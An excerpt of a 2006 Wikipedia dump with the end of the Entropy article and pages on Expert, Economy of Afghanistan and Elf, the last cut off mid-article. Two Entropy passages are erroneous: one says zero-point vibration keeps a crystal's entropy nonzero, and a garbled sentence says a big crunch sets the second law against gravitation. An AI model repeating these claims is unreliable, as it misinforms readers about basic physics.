In [[classical mechanics|classical]] statistical mechanics, the number of microstates is actually [[Uncountable set|uncountably infinite]], since the properties of classical systems are continuous. For example, a microstate of a classical ideal gas is specified by the positions and momenta of all the atoms, which range continuously over the [[real number]]s. If we want to define ''&amp;Omega;'', we have to come up with a method of grouping the microstates together to obtain a countable set. This procedure is known as [[coarse graining]]. In the case of the ideal gas, we count two states of an atom as the &quot;same&quot; state if their positions and momenta are within ''&amp;delta;x'' and ''&amp;delta;p'' of each other. Since the values of ''&amp;delta;x'' and ''&amp;delta;p'' can be chosen arbitrarily, the entropy is not uniquely defined. It is defined only up to an additive constant.  (As we will see, the [[#Thermodynamic definition of entropy|thermodynamic definition of entropy]] is also defined only up to a constant.)

This ambiguity can be resolved with [[quantum mechanics]]. The [[quantum state]] of a system can be expressed as a superposition of &quot;basis&quot; states, which can be chosen to be energy [[eigenstate]]s (i.e. eigenstates of the quantum [[Hamiltonian (quantum mechanics)|Hamiltonian]].) Usually, the quantum states are discrete, even though there may be an infinite number of them. In quantum statistical mechanics, we can take &amp;Omega; to be the number of energy eigenstates consistent with the thermodynamic properties of the system.

An important result, known as [[Nernst's theorem]] or the [[third law of thermodynamics]], states that the entropy of a system at [[absolute zero|zero absolute temperature]] is a well-defined constant. This is due to the fact that a system at zero temperature exists in its lowest-energy state, or [[ground state]], so that its entropy is determined by the [[Hamiltonian (quantum mechanics)|degeneracy]] of the ground state. Many systems, such as [[crystal|crystal lattices]], have a unique ground state, and (since ln(1) = 0) this means that they have zero entropy at absolute zero. Other systems have more than one state with the same, lowest energy, and have a non-vanishing &quot;zero-point entropy&quot;. For instance, ordinary [[ice]] has a zero-point entropy of 3.41 J/(mol&amp;middot;K), due to the fact that its underlying [[crystal structure]] possesses multiple configurations with the same energy (a phenomenon known as [[geometrical frustration]]).

The third law of thermodynamics states that the entropy of a perfect crystal at absolute zero or 0K is zero. This means that in a perfect crystal, at 0K, nearly all molecular motion should cease in order to achieve ΔS=0. A perfect crystal is one in which the internal lattice structure is the same at all times; in other words, it is fixed and non-moving, and does not have rotational or vibrational energy. This means that there is only one way in which this order can be attained: when every particle of the structure is in its proper place.

However, the equation for predicting quantized vibrational levels shows that even when the vibrational quantum number is 0, the molecule still has vibrational energy. This means that no matter how cold the temperature gets, the molecule will always have vibration. This is in keeping with the Heisenberg uncertainty principle, which states that both the position and the momentum of a particle cannot be known precisely, at a given time:

:''Ev'' = ''h''(''v''0)[''v''+(1/2)], 
where ''h''=Planck's constant, v0=characteristic frequency of the vibration, and v=the vibrational quantum number. Note that even when ''v''=0 (the zero-point energy), ''Ev'' does not equal 0.

Since all molecules will have some vibrational energy at all times, the entropy of such a molecule will not be 0. However, the third law of thermodynamics requires the entropy of a perfect crystal to be 0, at absolute zero. Therefore, it can be inferred that absolute zero is not attainable, since a perfect crystal configuration cannot be achieved.

== The arrow of time ==
Entropy is the only quantity in the physical sciences that &quot;picks&quot; a particular direction for time, sometimes called an [[arrow of time]]. As we go &quot;forward&quot; in time, the Second Law of Thermodynamics tells us that the entropy of an isolated system can only increase or remain the same; it cannot decrease. In contrast, all physical processes occurring at the microscopic level, such as mechanics, do not pick out an arrow of time. Going forward in time, we might see an atom moving to the left, whereas going backward in time, we would see the same atom moving to the right; the behavior of the atom is not ''qualitatively'' different in either case. In contrast, we would be shocked if a gas that originally filled a container evenly, spontaneously shrinks to occupy only half the container.

The reader may have noticed that the Second Law allows for the entropy ''remaining the same''. If the entropy is constant in either direction of time, there would be no preferred direction. However, the entropy can only be a constant if the system is in the highest possible state of disorder, such as a gas that always was, and always will be, uniformly spread out in its container. The existence of a thermodynamic arrow of time implies that the system is highly ordered in one time direction, which would by definition be the &quot;past&quot;.

Unlike most other laws of physics, the Second Law of Thermodynamics is statistical in nature, and its reliability arises from the huge number of particles present in macroscopic systems. It is not impossible, in principle, for all 10&lt;sup&gt;23&lt;/sup&gt; atoms in a gas to spontaneously migrate to one half of container; it is only ''fantastically'' unlikely -- so unlikely that no macroscopic violation of the Second Law has ever been observed.

In [[1867]], [[James Clerk Maxwell]] introduced a now-famous [[thought experiment]] that highlighted the contrast between the statistical nature of entropy and the deterministic nature of the underlying physical processes. This experiment, known as [[Maxwell's demon]], consists of a hypothetical &quot;demon&quot; that guards a trapdoor between two containers filled with gases at equal temperatures. By allowing fast molecules through the trapdoor in only one direction and only slow molecules in the other direction, the demon raises the temperature of one gas and lowers the temperature of the other, apparently violating the Second Law. Maxwell's thought experiment was only resolved in the [[20th century]] by [[Leó Szilárd]], [[Charles H. Bennett]], and others. The key idea is that the demon itself necessarily possesses a non-negligible amount of entropy that increases even as the gases lose entropy, so that the entropy of the system as a whole increases. This is because the demon has to contain many internal &quot;parts&quot; if it is to perform its job reliably, and therefore has to be considered a ''macroscopic'' system with non-vanishing entropy. An equivalent way of saying this is that the [[information theory|information]] possessed by the demon on which atoms are considered &quot;fast&quot; or &quot;slow&quot;, can be considered a form of entropy known as [[information entropy]].

{{unsolved|physics|[[Arrow of time]]: Why did the universe have such low entropy in the past, resulting in the distinction between [[past]] and [[future]] and the [[second law of thermodynamics]]?}}
Many physicists believe that all phenomena that behave differently in one time direction can ultimately be linked to the Second Law of Thermodynamics. This includes the fact that ice cubes melt in hot coffee rather than assembling themselves out of the coffee, that a block sliding on a rough surface slows down rather than speeding up, and that we can remember the past rather than the future. (This last phenomenon, called the &quot;psychological arrow of time&quot;, has deep connections with Maxwell's demon and the physics of information.) If the thermodynamic arrow of time is indeed the only arrow of time, then the ultimate reason for a preferred time direction is that the [[universe]] as a whole was in a highly ordered state at the [[Big Bang]]. The question of why this highly ordered state existed, and how to describe it, remains an area of research.

== Entropy and cosmology ==
We have previously mentioned that the universe may be considered an isolated system. As such, it may be subject to the Second Law of Thermodynamics, so that its total entropy is constantly increasing. If the entropy of the universe keeps on increasing then this violates some of our physical laws because at the time of the big crunch the matter ends comes together and they come in a highly orderly form so the entropy decreases so the second law contradicts the law of gravitation

It has been speculated that the universe is fated to a [[heat death]] in which all the energy ends up as a homogeneous distribution of thermal energy, so that no more work can be extracted from any source.

If the universe can be considered to have increasing entropy, then, as [[Roger Penrose]] has pointed out, an important role in the disordering process is played by [[gravity]], which causes dispersed matter to accumulate into stars, which collapse eventually into [[black holes]]. [[Jacob Bekenstein]] and [[Stephen Hawking]] have shown that black holes have the maximum possible entropy of any object of equal size. This makes them likely end points of all entropy-increasing processes.

The role of entropy in cosmology remains a controversial subject. Recent work has cast extensive doubt on the heat death hypothesis and the applicability of any simple thermodynamic model to the universe in general. Although entropy does increase in an expanding universe, the maximum possible entropy rises much more rapidly and leads to an &quot;entropy gap,&quot; thus pushing the system further away from equilibrium with each time increment. Complicating factors, such as the energy density of the vacuum and macroscopic [[quantum mechanics|quantum]] effects, are difficult to reconcile with thermodynamical models, making any predictions of large-scale thermodynamics extremely difficult.

== Entropy in literature ==
* Isaac Asimov's [[The Last Question]], a short science fiction story about entropy
* [[Thomas Pynchon]], an American author who deals with entropy in many of his novels
* [[Diane Duane]]'s [[Young Wizards]] series, in which the protagonists' ultimate goal is to slow down entropy and delay heat death.
* Gravity Dreams by L.L. Modesitt Jr.
* The Arrow of Time, an essay by journalist K.C. Cole, takes the physical law of entropy and metaphorically applies it to real life.
* [[Jeremy Rifkin]]'s ''[[Entropy: A New World View]]'', a notorious misinterpretation of entropy [http://www.foresight.org/EOC/EOC_Chapter_10.html#section04of09]
* The [[Planescape]] setting for [[Dungeons &amp; Dragons]] includes the [[Doomguard]] faction, who worship entropy.

== See also ==
* [[Arrow of time]]
* [[Black hole]]
* [[Entropic force]]
* [[Entropy of mixing]]
* [[Information entropy]]
* [[Kolmogorov-Sinai entropy]] (in [[dynamical system]]s)
* [[Logarithmic units]]
* [[Maxwell's demon]]
* [[Residual entropy]]
* [[Thermodynamic potential]]
* [[Negentropy]]

== External links ==
* [http://www.infidels.org/library/modern/richard_carrier/entropy.html Entropy Explained] - Correction of common misconceptions, and explaining the true meaning of entropy.
* [http://www.draaisma.net/rudi/entropy_chaos.html Entropy and chaos]
* [http://hyperphysics.phy-astr.gsu.edu/hbase/therm/entropcon.html Entropy concepts at HyperPhysics]
* [http://www.entropysimple.com/content.htm Entropy is Simple...If You Avoid the Briar Patches] 
* [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv2-12 ''Dictionary of the History of Ideas'':Entropy]
* [http://random.hd.org/ Java &quot;entropy pool&quot; for cryptographically-secure unguessable random numbers]
* [http://arxiv.org/pdf/physics/0004055 Entropy in Relation to Free Energy]
* [http://entropysite.com/entropy_is_simple/ ''Entropy Is Simple, Qualitatively''] article by Frank Lambert on http://EntropySite.com/
* [http://www.2ndlaw.com/entropy.html ''Entropy and the second law of thermodynamics''] Molecular approach to entropy.
* [http://www.secondlaw.com/six.html Entropy for students in general chemistry] Simple approach to the second law, in Q and A form.
* [http://www.entropylaw.com/index.html ''All About Entropy''] ''The laws of thermodynamics, and order from disorder.''

== References ==
* {{ cite book
 | last = Fermi | first = Enrico
 | authorlink = Enrico Fermi
 | year = 1937
 | title = Thermodynamics
 | publisher = Prentice Hall
 | id = ISBN 048660361X
 }}
* {{ cite book
 | last = Kroemer | first = Herbert
 | coauthors = Charles Kittel
 | year = 1980
 | title = Thermal Physics
 | edition = 2nd Ed.
 | publisher = W. H. Freeman Company
 | id = ISBN 0716710889 }}
* {{ cite book
 | last = Penrose | first = Roger
 | authorlink = Roger Penrose
 | year = 2005
 | title = The Road to Reality : A Complete Guide to the Laws of the Universe
 | id = ISBN 0679454438
 }}
* {{ cite book
 | last = Reif | first = F.
 | year = 1965
 | title = Fundamentals of statistical and thermal physics
 | publisher = McGraw-Hill
 | id = ISBN 0070518009
 }}

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[[Category:Entropy| ]]
[[Category:Philosophy of thermal and statistical physics]]

[[ar:إنتروبية]]
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[[he:אנטרופיה]]
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  <page>
    <title>Expert</title>
    <id>9892</id>
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      <timestamp>2006-02-01T19:20:55Z</timestamp>
      <contributor>
        <ip>84.220.110.179</ip>
      </contributor>
      <text xml:space="preserve">An '''expert''' is someone widely recognized as a [[reliabilism|reliable]] source of [[knowledge]], [[technique|technique]], or [[skill|skill]] whose judgment is accorded authority and status by the public or their peers. Experts have prolonged or intense experience through practice and education in a particular field.

The opposite of an expert is generally known as a [[layperson]], while someone who occupies a middle grade of understanding is generally known as a [[technician]] and often employed to assist experts. A person may well be an expert in one field and a layperson in many other fields. The concepts of experts and [[expertise]] is debated within the field of [[epistemology]] under the general heading of [[expert knowledge]].  

In specific fields, the definition of expert is well established by consensus and therefore it is not necessary for an individual to have a professional or academic qualification for them to be accepted as an expert. In this respect, a shepherd with 50 years of experience tending flocks would be widely recognized as having complete expertise in the use and training of sheep dogs and the care of sheep. Another example from [[computer science]] is that an [[expert system]] may be taught by a human and thereafter considered an expert often outperforming human beings at particular tasks. In [[law]], an [[expert witness]] must be recognized by [[Logical argument|argument]] and [[authority]].

The term is widely used informally, with people being described as 'experts' in order to bolster the relative value of their opinion, when no [[objective]] criteria for their expertise is available. The term [[crank (person)|crank]] is likewise used to disparage opinions. [[Academic elitism]] arises when 'experts' become convinced that only they understand their field of study (or anything at all).

[[Category:Skills]]

[[cs:Expert]]
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  </page>
  <page>
    <title>Economy of Afghanistan</title>
    <id>9895</id>
    <revision>
      <id>35047445</id>
      <timestamp>2006-01-13T19:06:46Z</timestamp>
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        <username>Daniel11</username>
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      <minor />
      <comment>/* Trade and Industry */</comment>
      <text xml:space="preserve">The economic outlook of '''[[Afghanistan]]'s Economy''' has improved significantly since [[2002]] due to the infusion of over $2 billion in international assistance, dramatic improvements in agricultural production, and the end of a four-year drought in most of the country. However, Afghanistan remains extremely poor, landlocked, and highly dependent on foreign aid, farming, and trade with neighboring countries. It is probable that it will take the remainder of the decade, continuing donor aid and attention to raise Afghanistan's living standards up from its current status among the lowest in the world. Much of the population continues to suffer from shortages of housing, clean water, electricity, medical care, and jobs, but the Afghan government and international donors have remained committed to improving access to these basic necessities by prioritizing infrastructure development, education, housing development, jobs programs, and economic reform over the year of [[2005]]. The replacement of the [[opium]] trade - which can account for one-third of the country's GDP - is one of several potential spoilers for the economy over the long term.

==Economic History== 
Historically, there has been a dearth of information and reliable statistics about Afghanistan's economy. The [[Soviet Union|Soviet]] invasion and ensuing civil war destroyed much of the underdeveloped country's limited infrastructure and disrupted normal patterns of economic activity. Gross domestic product has fallen substantially since the [[1980s]] because of loss of labor and capital and disruption of trade and transport. Continuing internal strife hampered both domestic efforts at reconstruction as well as international aid efforts.

According to the [[International Monetary Fund]], the Afghan economy grew 20% in the [[fiscal year]] ending in March [[2004]], after expanding 30% in the previous 12 months. The growth is attributed to international aid and to the end of [[drought]]s. An estimated US$4.4 billion of aid entered the nation in 2004, about equal to the its [[Gross domestic product|GDP]]. A GDP of US$4 billion in fiscal year [[2003]] was recalculated by the IMF to US$6.5 billion, after adding proceeds from [[opium]] products.

==Agriculture==
The Afghan economy continues to be overwhelmingly agricultural, despite the fact that only 12% of its total land area is arable and less than 6% currently is cultivated. Agricultural production is constrained by an almost total dependence on erratic winter snows and spring rains for water; irrigation is primitive. Relatively little use is made of machines, chemical fertilizer, or pesticides.

Grain production is Afghanistan's traditional agricultural mainstay. Overall agricultural production dramatically declined following 3 years of drought as well as the sustained fighting, instability in rural areas, and deteriorated infrastructure. Soviet efforts to disrupt production in resistance-dominated areas also contributed to this decline as did the disruption to transportation resulting from ongoing conflict.

The war against the Soviet Union and the ensuing civil war also led to migration to the cities and refugee flight to Pakistan and Iran, further disrupting normal agricultural production. Recent studies indicate that agricultural production and livestock numbers are only sufficient to feed about half of Afghanistan's population. Shortages are exacerbated by the country's already limited transportation network, which has deteriorated further due to damage and neglect resulting from war and the absence of an effective central government.

Opium became a source of cash for some Afghans, especially following the breakdown in central authority after the Soviet withdrawal. Opium-derived revenues constituted a major source of income for the two main factions. The [[Taliban]] earned roughly $40 million per year on opium taxes alone. Opium is easy to produce and transport and offers a quick source of income for impoverished Afghans. Afghanistan has been the world's largest producer of opium for most of the past decade. In [[2000]], the Taliban banned opium poppy cultivation in part to attract foreign aid and, allegedly, to control the opium market with large existing stockpiles that earned substantially large price increases. While cultivation of opium poppy was virtually eliminated in Taliban-controlled areas, drug trafficking has continued unabated. Later, in 2001, the Taliban reportedly announced that poppy cultivation could resume. Much of Afghanistan's opium production is refined into [[heroin]] and is either consumed by a growing regional addict population or exported, primarily to Western [[Europe]]. The current [[Afghanistan Interim Authority]] had began to enact major counter-narcotics policies and programs.

==Economic Stats (Illegal trade)==
According to research by the Afghan government and the [[United Nations]], presented [[December 11]], [[2005]], two million people (about 9% of the population) are engaged in [[illegal drug trade|illegal]] [[opium poppy|poppy]] cultivation, but the farmers receive less than 20% of the profit. Afghanistan produces 80% of the world’s opium. 

==Trade and Industry==
Trade accounts for a small portion of documented Afghan economy, and there are no reliable statistics relating to trade flows. In 1996, exports, not including opium, were estimated at $80 million and imports estimated at $150 million. Since the Soviet withdrawal and the collapse of the Soviet Union, other limited trade relationships are emerging with Central Asian states, Pakistan, Iran, the EU, and Japan. Afghanistan trades little with the United States. Afghanistan does not enjoy U.S. most-favored-nation (MFN) trading status, which was revoked in 1986.

Afghanistan is endowed with a wealth of natural resources, including extensive deposits of [[natural gas]], [[petroleum]], [[coal]], [[copper]], [[chromite]], [[talc]], [[barites]], [[sulfur]], [[lead]], [[zinc]], [[iron ore]], [[salt]], and precious and semiprecious stones. In the 1970s the Soviets estimated Afghanistan had as much as 142 km&amp;sup3; (5 trillion cubic feet) of natural gas, 15 million m&amp;sup3; (95 million barrels) of oil and condensate reserves, and 400 million tons of coal. Unfortunately, the country's continuing conflict, remote and rugged terrain, and inadequate transportation network usually have made mining these resources difficult, and there have been few serious attempts to further explore or exploit them.

The most important resource has been natural gas, first tapped in 1967. At their peak during the 1980s, natural gas sales accounted for $300 million a year in export revenues (56% of the total). Ninety percent of these exports went to the Soviet Union to pay for imports and debts. However, during the withdrawal of Soviet troops in 1989, Afghanistan's natural gas fields were capped to prevent sabotage by the [[mujahidin]]. Restoration of gas production has been hampered by internal strife and the disruption of traditional trading relationships following the collapse of the Soviet Union. Gas production has dropped from a high of 8,200,000 m&amp;sup3; (290 million cubic feet) per day in the 1980s to a current low of about 600,000 m&amp;sup3; (22 million cubic feet) in 2001.

Trade in goods smuggled into Pakistan once constituted a major source of revenue for Afghan regimes, including the Taliban, and also figured as an important element in the Afghan economy. Many of the goods smuggled into Pakistan originally entered Afghanistan from Pakistan, where they fell under the Afghan Trade and Transit Agreement (ATTA), which permitted goods bound for Afghanistan to transit Pakistan free of duty. When Pakistan clamped down in 2000 on the types of goods permitted duty-free transit, routing of goods through Iran from the Gulf increased significantly. Shipments of smuggled goods were subjected to fees and duties paid to the Afghan Government. The trade also provided jobs to tens of thousands of Afghans on both sides of the Durand Line, which forms the border between Afghanistan and Pakistan. Pakistan's closing its Afghan border in September 2001 presumably drastically curtailed this traffic.

==Economic Development and Recovery==
Afghanistan embarked on a modest economic development program in the 1930s. The government founded banks; introduced paper money; established a university; expanded primary, secondary, and technical schools; and sent students abroad for education. In 1956, the Afghan Government promulgated the first in a long series of ambitious development plans. By the late 1970s, these had achieved only mixed results due to flaws in the planning process as well as inadequate funding and a shortage of the skilled managers and technicians needed for implementation.

These constraints on development have been exacerbated by the flight of educated Afghans and the disruption and instability stemming from the Soviet occupation and ensuing civil war. Today, economic recovery and long-term development will depend on establishing an effective and stable political system and an end to more than 22 years of conflict.

The UN and the international donor community continue to provide considerable humanitarian relief. Since its inception in 1988, the umbrella UN Office for the Coordination of Humanitarian Assistance to Afghanistan (UNOCHA) has channelled more than $1 billion in multilateral assistance to Afghan refugees and vulnerable persons inside Afghanistan. The U.S., the European Union (EU), and Japan are the leading contributors to this relief effort. One of its key tasks is to eliminate from priority areas--such as villages, arable fields, and roads--some of the 5 to 7 million land mines and 750,000 pieces of [[unexploded ordnance]], sown mainly during the Soviet occupation, which continue to litter the Afghan landscape. Afghanistan is the most heavily mined country in the world; mine-related injuries number up to 300 per month. Without successful mine clearance, refugee repatriation, political stability, and economic reconstruction will be severely constrained. 

==National accounts==
''The majority of the following information is taken from, or adapted from the CIA World Factbook 2003''

'''[[Gross domestic product|GDP]]''': purchasing power parity - $20 billion (2003 est.)

'''GDP - real growth rate''':
* 29% (2003 est.) note: this high growth rate reflects the extremely low levels of activity between 1999 and 2002, as well as the end of a four-year drought and the impact of donor assistance
* 7.5% (2004 est.)

'''GDP - per capita''': purchasing power parity - $700 (2003 est.)

'''GDP - composition by sector''':
*''agriculture'': 60%
*''industry'': 20%
*''services'': 20% (1990)

'''Population below poverty line''':
* 23% (2002)
* 53% (2003)

'''Household income or consumption by percentage share''':
*''lowest 10%'': NA%
*''highest 10%'': NA%

'''Inflation rate (consumer prices)''': 5.2% (2003)

'''Labor force''': 11.8 million (2001 est.)

'''Labor force - by occupation''': agriculture 80%, industry 10%, services 10% (1990 est.)

'''Unemployment rate''': NA%

'''Budget''':
*''revenues'': $200 million
*''expenditures'': $550 million, including capital expenditures of $NA (2003 plan)

'''Industries''': small-scale production of [[textile]]s, [[soap]], [[furniture]], [[shoe]]s, [[fertilizer]], and [[cement]]; handwoven [[carpet]]s; natural [[gas]], [[petroleum]], [[coal]], [[copper]]

'''[[Electricity]] - production''': 334.8 GWh (2001)

'''Electricity - production by source''':
*''fossil fuel'': 36.3%
*''hydro'': 63.7%
*''nuclear'': 0%
*''other'': 0% (2001)

'''Electricity - consumption''': 511.4 GWh (2001)

'''Electricity - exports''': 0 kWh (2001)

'''Electricity - imports''': 200 GWh (2001)

'''Oil - production:''' 0 barrel/day (2001 est.)

'''Oil - consumption:''' 3,500 barrel/day (560 m&amp;sup3;/d) 2001

'''Natural gas - production:''' 220 million m&amp;sup3; (2001 est.)

'''Natural gas - consumption:''' 220 million m&amp;sup3; (2001 est.)

'''Natural gas - proved reserves:''' 49.98 km&amp;sup3; ([[1 January]] [[2002]])

'''Agriculture - products''': [[opium]] poppies, [[wheat]], [[fruit]]s, [[nut (fruit)|nuts]], [[karakul]] pelts

'''Exports''': $98 million (not including illicit exports) (2002 est.)

'''Exports - commodities''': [[opium]], [[wheat]], fruits and nuts, handwoven [[carpet]]s, [[wool]], [[cotton]], hides and pelts, precious and semi-precious gems

'''Exports - partners''': [[United States|US]] (26.1%), [[France]] (17%), [[Pakistan]] (17%), [[India]] (16.1%). (2003 est.)

'''Imports''': $1.007 billion (2002 est.)

'''Imports - commodities''': capital goods, food, textiles and [[petroleum]] products; most consumer goods

'''Imports - partners''': Pakistan (26.8%), [[South Korea]] (12.3%), [[Japan]] (8.2%), [[Germany]] (7.4%), [[Kenya]] (4.9%), USA (4.8%). (2003 est.)

'''Debt - external''': $8 billion in bilateral debt, mostly to Russia; Afghanistan has $500 million in debt to Multilateral Development Banks (2004)

'''Economic aid - recipient''': international pledges made by more than 60 countries and international financial institutions at the Tokyo Donors Conference for Afghan reconstruction in January 2002 reached $4.5 billion through 2006, with $1.8 billion allocated for 2002; another $1.7 billion was pledged for 2003. 

'''Currency''': [[Afghani (currency)|Afghani]] (AFA)

'''Exchange rates''': afghanis per US dollar - 3000 (October - December 2002), 3000 (2001), 4,700 (January 2000), 4,750 (February 1999), 17,000 (December 1996), 7,000 (January 1995), 1,900 (January 1994), 1,019 (March 1993), 850 (1991); note - these rates reflect the free market exchange rates rather than the official exchange rate, which was fixed at 50.600 afghanis to the dollar until 1996, when it rose to 2,262.65 per dollar, and finally became fixed again at 3,000.00 per dollar in April 1996 

'''Fiscal year''': [[21 March]] - [[20 March]]

==Reference==
''Much of the material in this article comes from the [[CIA World Factbook]] 2003 and the 2003 U.S. Department of State website.''

==External links==
* [[n:Report finds Afghanistan is on the verge of becoming a narcotics state|Report finds Afghanistan is on the verge of becoming a narcotics state]] on ''[[Wikinews]]'', March 5, 2005
* [[n:U.N. reports Afghan opium production is up again|U.N. reports Afgan opium production is up again]] on ''Wikinews'', February 11, 2005
* [http://www.focus-fen.net/index.php?catid=142&amp;newsid=78414&amp;ch=0]

[[Category:Economy of Afghanistan]]
[[Category:Economies by country|Afghanistan]]

[[es:Economía de Afganistán]]
[[pt:Economia do Afeganistão]]
[[zh:阿富汗经济]]</text>
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  <page>
    <title>Elf</title>
    <id>9896</id>
    <revision>
      <id>41757611</id>
      <timestamp>2006-03-01T15:02:40Z</timestamp>
      <contributor>
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      <comment>/* Elves in modern fantasy */</comment>
      <text xml:space="preserve">{{dablink|For other meanings, see [[Elf (disambiguation)]]}}

[[Image:Small elf.JPG|350px|thumb|right|A small forest elf (''älva'') rescuing an egg, from ''Solägget'' (1932), by [[Elsa Beskow]]]]An '''elf''' is a [[mythical creature]] of [[Norse mythology]] which survived in northern [[Europe]]an [[folklore]]. Originally a race of minor [[gods]] of nature and fertility, elves are often pictured as youthful-seeming men and women of great beauty living in [[forest]]s and other natural places, underground, or in wells and springs. They have been portrayed to be long-lived or [[immortality|immortal]] and  they have [[magic (paranormal)|magical]] powers attributed to them. Following the success of [[J. R. R. Tolkien|J.R.R. Tolkien]]'s epic ''[[The Lord of the Rings]]''—wherein a wise, angelic people named ''elves'' play a significant role—they have become [[Stock character|staple characters]] of modern [[fantasy]].

''Elf'' can be [[plural]]ized both as ''elves'' and ''elfs''. Something associated with elves or the qualities of elves is described by the [[adjective]]s ''elfin'', ''elven'', ''elfish'', or ''elvish''. They are also called: 

* [[Germany]]: ''Elfen'', ''Elben'' and ''Alben''
* [[Great Britain]]: ''addler'' (obsolete)
* [[Iceland]]:  ''álfar'', ''álfafólk'' and ''huldufólk'' (hidden people)
* [[Netherlands]]: ''Elfen'', ''Alfen''
* [[Scandinavia]]: ''elvere'' or ''ellefolk'' in [[Denmark]], ''alver'' or ''elvefolk'' in [[Norway]], and ''alfer'', ''alver'' or ''älvor'' in [[Sweden]]

Although there has been debate, the words ''elf'', ''[[alf|álf]]'' and their relatives almost certainly come from the same [[Indo-European]] root *''albh'' as the Latin ''albus'' (white).{{mn|Hall 2004|H-1}}

==Characteristics of traditional elves==

===Elves in Norse mythology===

The earliest preserved description of elves comes from [[Norse mythology]]. In [[Old Norse language|Old Norse]] they are called ''álfar'' ([[singular]], [[nominative case]]: ''álfr''), and although no older or contemporary descriptions exist, the appearance of beings etymologically related to ''álfar'' in various later folklore strongly suggests that the belief in elves were common among all the [[Germanic tribes]], and not limited solely to the ancient [[Scandinavia]]ns.

Elves make various appearances in Norse mythology. Although the concept itself is never clearly defined in our sources, elves appear to have been understood as powerful and beautiful human-sized beings. They are commonly referred to collectively as semi-divine beings associated with fertility as well as the cult of the ancestors. As such, elves appear similar to the [[Animism|animistic]] belief in [[Spiritual being|spirits]] of nature and of the deceased, common to nearly all human religions; something that, on a side note, is true also for the Old Norse belief in ''[[fylgja|fylgjur]]'' and ''[[vörðr|vörðar]]'' (&quot;follower&quot; and &quot;warden&quot; spirits, respectively). Arguably, ''elves'' are the Germanic equivalent to the [[nymph]]s of [[Greek mythology|Greek]] and [[Roman mythology]], as well as the [[wili|vili]] and [[Rusalka|rusalki]] of [[Slavic mythology]].
[[Image:Freyr_art.jpg|thumb|left|180px|The god [[Freyr]], the lord of the light-elves]]
The Icelandic mythographer and historian [[Snorri Sturluson]] seems to have referred to [[dwarves]] (''[[Norse dwarves|dvergar]]'') as &quot;dark-elves&quot; (''[[dökkálfar]]'') or &quot;black-elves&quot; (''[[svartálfar]]''); whether this usage reflects wider medieval Scandinavian belief is uncertain.{{mn|Hall 2004|H-2}} Elves who are not dark-elves are referred to by Snorri as &quot;light-elves&quot; (''[[ljósálfar]]''); this usage has often been connected with elves' etymological connection with whiteness. Snorri describes their differences like so:

:''There are many magnificent dwellings. One is there called [[Alfheim]]. There dwell the folk that are called light-elves; but the dark-elves dwell down in the earth, and they are unlike the light-elves in appearance, but much more so in deeds. The light-elves are fairer than the sun to look upon, but the dark-elves are blacker than pitch.''{{mn|Younger Edda|YE-1}}

Evidence for elves in Norse mythology outside Snorri's work, and in earlier evidence, comes from [[Skaldic poetry]], the ''[[Poetic Edda]]'' and [[legendary saga]]s. Here elves are linked with the [[Æsir]], particularly through the common phrase &quot;Æsir and the elves&quot;, which presumably means &quot;all the gods&quot;.{{mn|Hall 2004|H-3}} The elves have been compared or identified with the [[Vanir]] (fertility gods) by some scholars (e.g. Hall 2004, pp. 43-46). However, in the ''[[Alvíssmál]]'' (&quot;The Sayings of All-Wise&quot;), the elves are considered distinct from both the Vanir and the [[Æsir]], as revealed by a series of comparative names in which Æsir, Vanir, and elves are given their own versions for various words in a reflection of their individual racial preferences. Possibly, the words designate a difference in status between the major fertility gods (the Vanir) and the minor ones (the elves). ''[[Grímnismál]]'' relates that the Van [[Freyr]] was the lord of ''[[Álfheim]]r'' (meaning &quot;elf-world&quot;), the home of the light-elves. ''[[Lokasenna]]'' relates that a large group of Æsir and elves had assembled at [[Ægir]]'s court for a banquet. Several minor forces, the servants of gods, are presented such as [[Byggvir]] and [[Beyla]], who belonged to Freyr, the lord of the elves, and they were probably elves, since they were not counted among the gods. Two other mentioned servants were [[Fimafeng]] (who was murdered by [[Loki]]) and [[Eldir]].

Some speculate that Vanir and elves belong to an earlier [[Nordic Bronze Age]] religion of [[Scandinavia]], and were later replaced by the Æsir as main gods. Others (most notably [[Georges Dumézil]]) argue that the Vanir were the gods of the common Norsemen, and the Æsir those of the priest and warrior castes (see also [[Nerthus]]).

A poem from around [[1020]], the ''[[Austrfaravísur]]'' ('Eastern-journey verses') of [[Sigvatr Þorðarson]], mentions that, as a Christian, he was refused board in a heathen household, in [[Sweden]], because an ''[[Blót#Elven blót|álfablót]]'' (&quot;elves' sacrifice&quot;) was being conducted there. However, we have no further reliable information as to what an ''álfablót'' involved,{{mn|Hall 2004|H-4}} but like other [[blót]]s it probably included the offering of foods, and later [[Scandinavian folklore]] retained a tradition of sacrificing treats to the elves (see below). From the time of year (close to the [[autumnal equinox]]) and the elves' association with fertility and the ancestors, we might assume that it had to do with the ancestor cult and the life force of the family.
[[Image:Völund.jpg|thumb|right|180px|The smith hero [[Weyland|Völundr]], the ruler of the dökkálfar(dark-elves)]]
In addition to this, ''[[Kormáks saga]]'' accounts for how a sacrifice to elves was apparently believed able to heal a severe battle wound:

:''Þorvarð healed but slowly; and when he could get on his feet he went to see Þorðís, and asked her what was best to help his healing.''
:''&quot;A hill there is,&quot; answered she, &quot;not far away from here, where elves have their haunt. Now get you the bull that Kormák killed, and redden the outer side of the hill with its blood, and make a feast for the elves with its flesh. Then thou wilt be healed.&quot;''{{mn|Kormáks saga|Ko-1}}

The Scandinavian elves were of human size. Full-sized famous men could be elevated to the rank of elves after death, such as the petty king [[Olaf Geirstad-Elf]], and the smith hero [[Weyland|Völund]] (titled as &quot;ruler of elves&quot; in the ''[[Völundarkviða]]''). Even crossbreeding was possible between elves and humans in the Old Norse belief. One case appears in ''[[Hrólf Kraki]]'s saga'', where the Danish king [[Helgi]] finds an elf-woman clad in silk who is the most beautiful woman he has ever seen. He rapes her and later she bears the daughter [[Skuld (Norse Mythology)|Skuld]], who married [[Heoroweard|Hjörvard]], Hrólf Kraki's killer. Another case was the hero [[Högni]], whose mother was a human queen, and whose father, according to the ''[[Thidrekssaga]]'', was an elf by the name of ''Aldrian'' (though it should be noted that this text is largely translated from German material).

There are also in the ''[[Heimskringla]]'' and in ''[[Þorsteins saga Víkingssonar]]'' accounts of a line of local kings who ruled over Álfheim, corresponding to the modern Swedish province [[Bohuslän]], and since they had elven blood they were said to be more beautiful than most men.

:''The land governed by King Alf was called Alfheim, and all his offspring are related to the elves. They were fairer than any other people ...''{{mn|Þorsteins saga Víkingssonar|Th-1}}

The last king is named ''Gandalf''.

===Scandinavian elves===

